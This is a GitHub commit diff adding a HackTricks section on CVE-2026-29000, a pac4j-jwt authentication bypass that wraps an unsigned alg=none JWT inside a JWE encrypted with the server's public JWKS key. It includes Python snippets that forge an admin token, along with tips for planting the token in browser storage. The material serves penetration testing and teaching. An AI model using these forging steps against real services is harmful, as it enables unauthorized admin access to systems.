Skip to content

Commit 992a511

Browse files
authored
Merge pull request #2072 from HackTricks-wiki/update_HTB__Principal_20260330_131700
HTB Principal
2 parents 99ffa5f + e39f267 commit 992a511

1 file changed

Lines changed: 49 additions & 0 deletions

File tree

src/pentesting-web/hacking-jwt-json-web-tokens.md

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,53 @@ Set the algorithm used as "None" and remove the signature part.
9696

9797
Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None").
9898

99+
### JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
100+
101+
Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped.
102+
103+
- **Pre-reqs**:
104+
- The application accepts **JWE bearer tokens**
105+
- The server public key is exposed (commonly via **JWKS** such as `/.well-known/jwks.json` or `/api/auth/jwks`)
106+
- Authorization depends on attacker-controlled claims such as `sub`, `role`, `groups`, or `scope`
107+
- **Impact**: forge an encrypted token for any user/role using **only the public key**
108+
109+
Practical checks:
110+
111+
- Enumerate the frontend / API docs for clues such as `RSA-OAEP-256`, `A128GCM`/`A256GCM`, `jwks`, or comments saying "inner JWT is signed".
112+
- Fetch the JWKS and import the RSA key from `n`/`e`.
113+
- Build the inner token manually as `base64url(header) + "." + base64url(payload) + "."` so the signature is empty.
114+
- Encrypt that plaintext JWT as a JWE using the exposed public key and replay it as the bearer token.
115+
116+
Minimal PlainJWT construction:
117+
118+
```python
119+
header = {"alg": "none"}
120+
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
121+
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
122+
plain = (
123+
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
124+
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
125+
)
126+
```
127+
128+
Encrypt it into a compact JWE with the RSA public key from JWKS:
129+
130+
```python
131+
rsa_key = jwk.JWK(**jwks["keys"][0])
132+
token = jwe.JWE(
133+
plaintext=plain.encode(),
134+
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
135+
recipient=rsa_key,
136+
)
137+
forged = token.serialize(compact=True)
138+
```
139+
140+
Notes:
141+
142+
- If your JWT library refuses to emit `alg=none`, generate the compact token manually as shown above.
143+
- The `enc` value must match one accepted by the target; frontend comments and legitimate tokens often disclose this.
144+
- In SPAs, check whether the bearer token is stored in `sessionStorage`, `localStorage`, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly.
145+
99146
### Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
100147

101148
The algorithm HS256 uses the secret key to sign and verify each message.\
@@ -322,5 +369,7 @@ https://github.com/ticarpi/jwt_tool
322369
- [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor)
323370
- [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)
324371
- [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive)
372+
- [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html)
373+
- [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000)
325374
326375
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)